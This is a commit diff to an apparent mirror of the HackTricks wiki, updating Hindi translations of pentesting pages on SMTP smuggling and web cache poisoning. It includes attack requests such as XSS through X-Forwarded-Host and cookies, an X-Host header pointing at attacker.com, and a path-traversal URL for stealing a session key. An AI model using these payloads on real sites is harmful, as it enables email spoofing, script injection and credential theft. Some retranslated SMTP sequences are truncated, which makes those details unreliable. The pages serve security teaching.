mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-14 17:07:34 +00:00
Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.
This commit is contained in:
parent
2ee09304ae
commit
d356531483
12 changed files with 281 additions and 187 deletions
BIN
.gitbook/assets/image (1250).png
Normal file
BIN
.gitbook/assets/image (1250).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 33 KiB |
BIN
.gitbook/assets/image (1251).png
Normal file
BIN
.gitbook/assets/image (1251).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 29 KiB |
BIN
.gitbook/assets/image (1252).png
Normal file
BIN
.gitbook/assets/image (1252).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 32 KiB |
BIN
.gitbook/assets/image (1253).png
Normal file
BIN
.gitbook/assets/image (1253).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 30 KiB |
|
@ -531,6 +531,7 @@
|
|||
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
||||
* [Cache Poisoning via URL discrepancies](pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md)
|
||||
* [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md)
|
||||
* [Clickjacking](pentesting-web/clickjacking.md)
|
||||
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# SMTP Smuggling
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,37 +17,37 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Basic Information
|
||||
|
||||
इस प्रकार की भेद्यता [**इस पोस्ट में मूल रूप से खोजी गई थी**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) जहां यह समझाया गया है कि ईमेल को अंतिम रूप देने के समय SMTP प्रोटोकॉल की व्याख्या में असमानताओं का **शोषण करना संभव है**, जिससे एक हमलावर को वैध ईमेल के शरीर में अधिक ईमेल को स्मगल करने की अनुमति मिलती है, जिससे प्रभावित डोमेन के अन्य उपयोगकर्ताओं (जैसे admin@outlook.com) की नकल की जा सकती है, SPF जैसी सुरक्षा को बायपास करते हुए।
|
||||
इस प्रकार की भेद्यता [**इस पोस्ट में मूल रूप से खोजी गई थी**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) जहां यह समझाया गया है कि ईमेल को अंतिम रूप देने के समय SMTP प्रोटोकॉल की व्याख्या में असमानताओं का **शोषण करना संभव है**, जिससे एक हमलावर को वैध ईमेल के शरीर में अधिक ईमेल को स्मगल करने की अनुमति मिलती है, जिससे प्रभावित डोमेन के अन्य उपयोगकर्ताओं (जैसे admin@outlook.com) का अनुकरण किया जा सकता है, SPF जैसी सुरक्षा को बायपास करते हुए।
|
||||
|
||||
### Why
|
||||
|
||||
यह इसलिए है क्योंकि SMTP प्रोटोकॉल में, ईमेल में भेजे जाने वाले **संदेश का डेटा** एक उपयोगकर्ता (हमलावर) द्वारा नियंत्रित किया जाता है जो विशेष रूप से तैयार किए गए डेटा को भेज सकता है जो पार्सर्स में भिन्नताओं का शोषण करता है जो रिसेप्टर में अतिरिक्त ईमेल को स्मगल करेगा। इस मूल पोस्ट से इस चित्रित उदाहरण पर एक नज़र डालें:
|
||||
यह इस कारण से है कि SMTP प्रोटोकॉल में, ईमेल में भेजे जाने वाले **संदेश का डेटा** एक उपयोगकर्ता (हमलावर) द्वारा नियंत्रित किया जाता है जो विशेष रूप से तैयार किए गए डेटा को भेज सकता है जो पार्सर्स में भिन्नताओं का शोषण करता है जो रिसेप्टर में अतिरिक्त ईमेल को स्मगल करेगा। इस मूल पोस्ट से इस चित्रित उदाहरण पर एक नज़र डालें:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### How
|
||||
|
||||
इस भेद्यता का शोषण करने के लिए एक हमलावर को कुछ डेटा भेजने की आवश्यकता होती है जिसे **आउटबाउंड SMTP सर्वर केवल 1 ईमेल समझता है लेकिन इनबाउंड SMTP सर्वर सोचता है कि कई ईमेल हैं**।
|
||||
इस भेद्यता का शोषण करने के लिए, एक हमलावर को कुछ डेटा भेजने की आवश्यकता होती है जिसे **आउटबाउंड SMTP सर्वर केवल 1 ईमेल समझता है लेकिन इनबाउंड SMTP सर्वर सोचता है कि कई ईमेल हैं**।
|
||||
|
||||
शोधकर्ताओं ने खोजा कि विभिन्न **इनबाउंड सर्वर विभिन्न वर्णों को ईमेल संदेश के डेटा के अंत के रूप में मानते हैं** जो आउटबाउंड सर्वर नहीं करते।\
|
||||
उदाहरण के लिए, डेटा का सामान्य अंत `\r\n.\r\n` है। लेकिन यदि इनबाउंड SMTP सर्वर `\n.\n` का भी समर्थन करता है, तो एक हमलावर बस **उस डेटा को अपने ईमेल में जोड़ सकता है और नए ईमेल को स्मगल करने के लिए SMTP कमांड को इंगित करना शुरू कर सकता है** जैसे कि पिछले चित्र में।
|
||||
उदाहरण के लिए, डेटा का सामान्य अंत `\r\n.\r` है। लेकिन यदि इनबाउंड SMTP सर्वर `\n.` का भी समर्थन करता है, तो एक हमलावर बस **उस डेटा को अपने ईमेल में जोड़ सकता है और नए ईमेल को स्मगल करने के लिए SMTP कमांड को इंगित करना शुरू कर सकता है** जैसे कि पिछले चित्र में।
|
||||
|
||||
बेशक, यह केवल तभी काम कर सकता है यदि **आउटबाउंड SMTP सर्वर इस डेटा को संदेश डेटा के अंत के रूप में नहीं मानता है**, क्योंकि उस मामले में यह केवल 1 के बजाय 2 ईमेल देखेगा, इसलिए अंततः यह असंक्रमण है जिसका इस भेद्यता में शोषण किया जा रहा है।
|
||||
बेशक, यह केवल तभी काम कर सकता है यदि **आउटबाउंड SMTP सर्वर इस डेटा को** संदेश डेटा के अंत के रूप में नहीं मानता है, क्योंकि उस मामले में यह केवल 1 के बजाय 2 ईमेल देखेगा, इसलिए अंत में यह असंगति है जिसका इस भेद्यता में शोषण किया जा रहा है।
|
||||
|
||||
संभावित असंक्रमण डेटा:
|
||||
संभावित असंगति डेटा:
|
||||
|
||||
* `\n.\n`
|
||||
* `\n.\r\n`
|
||||
* `\n.`
|
||||
* `\n.\r`
|
||||
|
||||
यह भी ध्यान दें कि SPF को बायपास किया गया है क्योंकि यदि आप `user@outlook.com` से `admin@outlook.com` का एक ईमेल स्मगल करते हैं, तो **प्रेषक अभी भी `outlook.com` है।**
|
||||
यह भी ध्यान दें कि SPF को बायपास किया गया है क्योंकि यदि आप `admin@outlook.com` से `user@outlook.com` के ईमेल से एक ईमेल स्मगल करते हैं, तो **प्रेषक अभी भी `outlook.com` है।**
|
||||
|
||||
## **References**
|
||||
|
||||
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cache Poisoning and Cache Deception
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -18,7 +18,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
@ -27,24 +27,24 @@ Get Access Today:
|
|||
|
||||
> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी के बीच क्या अंतर है?**
|
||||
>
|
||||
> * **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री संग्रहीत करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से प्रदान की जाती है।
|
||||
> * **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री संग्रहीत करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से परोसी जाती है।
|
||||
> * **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री कैश में संग्रहीत करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हों। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को प्रदान की जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं।
|
||||
कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हो जाएं। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को परोसी जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं।
|
||||
|
||||
कैश पॉइज़निंग हमले का कार्यान्वयन कई चरणों में होता है:
|
||||
|
||||
1. **अनकीड इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
|
||||
2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला कदम यह पता लगाना है कि इन पैरामीटरों का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
|
||||
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में संग्रहीत है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में संग्रहीत है। इस तरह, प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता जब कैश संदूषित हो, तो दूषित प्रतिक्रिया प्राप्त करेगा।
|
||||
1. **अनकीद इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए शोषित किया जा सकता है।
|
||||
2. **अनकीद इनपुट का शोषण**: अनकीद इनपुट की पहचान करने के बाद, अगला कदम यह पता लगाना है कि इन पैरामीटरों का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
|
||||
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में संग्रहीत है**: अंतिम कदम यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में संग्रहीत है। इस तरह, प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता जब कैश दूषित हो, तो दूषित प्रतिक्रिया प्राप्त करेगा।
|
||||
|
||||
### Discovery: Check HTTP headers
|
||||
|
||||
आमतौर पर, जब एक प्रतिक्रिया **कैश में संग्रहीत होती है** तो एक **हेडर ऐसा संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडरों पर ध्यान देना चाहिए: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
आमतौर पर, जब एक प्रतिक्रिया **कैश में संग्रहीत होती है** तो एक **हेडर ऐसा संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडर पर ध्यान देना चाहिए: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Discovery: Caching error codes 
|
||||
### Discovery: Caching error codes
|
||||
|
||||
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में संग्रहीत हो रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।
|
||||
|
||||
|
@ -58,25 +58,28 @@ Get Access Today:
|
|||
|
||||
### Discovery: Identify and evaluate unkeyed inputs
|
||||
|
||||
आप [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) का उपयोग कर सकते हैं **पैरामीटर और हेडर को ब्रूट-फोर्स करने** के लिए जो **पृष्ठ की प्रतिक्रिया को बदल सकते हैं**। उदाहरण के लिए, एक पृष्ठ `X-Forwarded-For` हेडर का उपयोग कर सकता है यह संकेत देने के लिए कि क्लाइंट को वहां से स्क्रिप्ट लोड करना है:
|
||||
आप [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) का उपयोग कर सकते हैं ताकि **पैरामीटर और हेडर को ब्रूट-फोर्स करें** जो **पृष्ठ की प्रतिक्रिया को बदल सकते हैं**। उदाहरण के लिए, एक पृष्ठ `X-Forwarded-For` हेडर का उपयोग कर सकता है ताकि क्लाइंट को वहां से स्क्रिप्ट लोड करने के लिए संकेत दिया जा सके:
|
||||
```markup
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें
|
||||
|
||||
पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या एक JS कोड लोड करें जिसे आप नियंत्रित करते हैं? एक DoS प्रदर्शन करें?...)
|
||||
पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या एक JS कोड लोड करें जो आपके द्वारा नियंत्रित हो? एक DoS प्रदर्शन करें?...)
|
||||
|
||||
### प्रतिक्रिया को कैश करें
|
||||
|
||||
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** इसका **दुरुपयोग** करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करने की आवश्यकता हो सकती है।\
|
||||
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और मान **`hit`** हो सकता है जब इसे कैश किया गया है।\
|
||||
**`Cache-Control`** हेडर भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`\
|
||||
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **संकेतित करने** के लिए उपयोग किया जाता है जो **कैश कुंजी** के भाग के रूप में माना जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता उस लक्ष्य के शिकार की `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।\
|
||||
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, कि **पैरामीटर**/**हेडर** का उपयोग कैसे करना है और **किस प्रकार** इसका **दुरुपयोग** करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में लाने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करने की आवश्यकता हो सकती है।
|
||||
|
||||
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और मान **`hit`** हो सकता है जब यह कैश किया गया है।\
|
||||
हेडर **`Cache-Control`** यह जानने के लिए भी दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
|
||||
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **संकेतित करने** के लिए उपयोग किया जाता है जो **कैश कुंजी** का **भाग** माने जाते हैं, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता उस लक्ष्य के शिकार की `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
|
||||
|
||||
कैश से संबंधित एक और हेडर **`Age`** है। यह उन सेकंडों में समय को परिभाषित करता है जब वस्तु प्रॉक्सी कैश में रही है।
|
||||
|
||||
अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कीड** के रूप में **उपयोग** किए जा सकते हैं और **शिकार को उसी हेडर का उपयोग करने की आवश्यकता होगी**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि क्या यह काम कर रहा है।
|
||||
अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कीड** के रूप में **उपयोग** किए जा सकते हैं और **शिकार को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि क्या यह काम कर रहा है।
|
||||
|
||||
## शोषण के उदाहरण
|
||||
## शोषण उदाहरण
|
||||
|
||||
### सबसे आसान उदाहरण
|
||||
|
||||
|
@ -87,17 +90,17 @@ GET /en?region=uk HTTP/1.1
|
|||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_Note that this will poison a request to `/en?region=uk` not to `/en`_
|
||||
_ध्यान दें कि यह `/en?region=uk` के लिए एक अनुरोध को विषाक्त करेगा, `/en` के लिए नहीं_
|
||||
|
||||
### Cache poisoning to DoS
|
||||
### DoS के लिए कैश विषाक्तता
|
||||
|
||||
{% content-ref url="cache-poisoning-to-dos.md" %}
|
||||
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Using web cache poisoning to exploit cookie-handling vulnerabilities
|
||||
### कुकी-हैंडलिंग कमजोरियों का लाभ उठाने के लिए वेब कैश विषाक्तता का उपयोग करना
|
||||
|
||||
कुकीज़ को भी एक पृष्ठ की प्रतिक्रिया पर परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS उत्पन्न कर सकते हैं, तो आप उन कई क्लाइंट्स में XSS का लाभ उठा सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं।
|
||||
कुकीज़ को एक पृष्ठ की प्रतिक्रिया पर भी परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS का कारण बन सकते हैं, तो आप उन कई क्लाइंट्स में XSS का लाभ उठाने में सक्षम हो सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं।
|
||||
```markup
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
|
@ -105,13 +108,27 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
|||
```
|
||||
ध्यान दें कि यदि कमजोर कुकी का उपयोग उपयोगकर्ताओं द्वारा बहुत अधिक किया जाता है, तो नियमित अनुरोध कैश को साफ कर देंगे।
|
||||
|
||||
### पथ ट्रैवर्सल के साथ कैश जहर देना API कुंजी चुराने के लिए <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### डेलिमिटर्स, सामान्यीकरण और डॉट्स के साथ विसंगतियों का निर्माण <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**यह लेख बताता है**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) कि कैसे एक URL जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` के साथ OpenAI API कुंजी चुराना संभव था क्योंकि `/share/*` से मेल खाने वाली कोई भी चीज़ कैश की जाएगी बिना Cloudflare द्वारा URL को सामान्य किए, जो तब किया गया जब अनुरोध वेब सर्वर तक पहुंचा।
|
||||
जांचें:
|
||||
|
||||
### वेब कैश जहर देने की कमजोरियों का लाभ उठाने के लिए कई हेडर का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
|
||||
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीद इनपुट्स का लाभ उठाने की आवश्यकता होगी**। उदाहरण के लिए, यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं, तो आप एक **ओपन रीडायरेक्ट** पा सकते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **फॉरवर्ड** कर रहा है और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
|
||||
### API कुंजी चुराने के लिए पथ ट्रैवर्सल के साथ कैश पॉइज़निंग <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**यह लेख समझाता है**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) कि कैसे एक URL जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` के साथ OpenAI API कुंजी चुराना संभव था क्योंकि `/share/*` से मेल खाने वाली कोई भी चीज़ कैश की जाएगी बिना Cloudflare द्वारा URL को सामान्यीकृत किए, जो तब किया गया जब अनुरोध वेब सर्वर तक पहुंचा।
|
||||
|
||||
यह भी बेहतर तरीके से समझाया गया है:
|
||||
|
||||
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
|
||||
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### वेब कैश पॉइज़निंग कमजोरियों का शोषण करने के लिए कई हेडर का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीड इनपुट्स का शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं, तो आप एक **Open redirect** पा सकते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **फॉरवर्ड** कर रहा है और `X-Forwarded-Scheme` हेडर का उपयोग रीडायरेक्ट के लिए डोमेन नाम के रूप में कर रहा है। आप नियंत्रित कर सकते हैं कि रीडायरेक्ट द्वारा पृष्ठ कहाँ इंगित किया गया है।
|
||||
```markup
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
|
@ -129,7 +146,7 @@ X-Host: attacker.com
|
|||
```
|
||||
### Fat Get
|
||||
|
||||
